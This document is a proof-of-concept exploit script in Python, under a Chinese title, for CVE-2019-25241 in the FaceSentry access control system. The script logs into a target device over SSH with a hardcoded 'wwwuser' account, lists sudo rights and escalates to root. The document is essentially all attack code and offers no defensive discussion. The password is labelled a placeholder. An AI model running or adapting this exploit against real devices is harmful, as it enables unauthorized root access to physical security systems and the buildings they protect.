CVE-2019-25241 FaceSentry Access Control System硬编码SSH凭证漏洞

#!/usr/bin/env python3 """ CVE-2019-25241 PoC - FaceSentry SSH Hardcoded Credentials This PoC demonstrates the authentication bypass via hardcoded credentials. """ import socket import paramiko import sys def exploit_ssh(target_ip, port=22): """ Exploit hardcoded SSH credentials for FaceSentry Access Control System """ # Hardcoded credentials for wwwuser account username = "wwwuser" # The password is hardcoded in the system firmware password = "facesentry_default_pwd" # Placeholder - actual password found in firmware print(f"[*] Connecting to {target_ip}:{port}...") try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Attempt connection with hardcoded credentials ssh.connect(target_ip, port=port, username=username, password=password, timeout=10) print(f"[+] Successfully authenticated as {username}") # Check sudo privileges (no password required due to misconfiguration) stdin, stdout, stderr = ssh.exec_command("sudo -l") output = stdout.read().decode() print(f"[*] Sudo privileges: {output}") # Escalate to root stdin, stdout, stderr = ssh.exec_command("sudo su -c 'whoami'") output = stdout.read().decode().strip() print(f"[+] Current user after privilege escalation: {output}") ssh.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed - credentials may have been changed") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_ssh(target)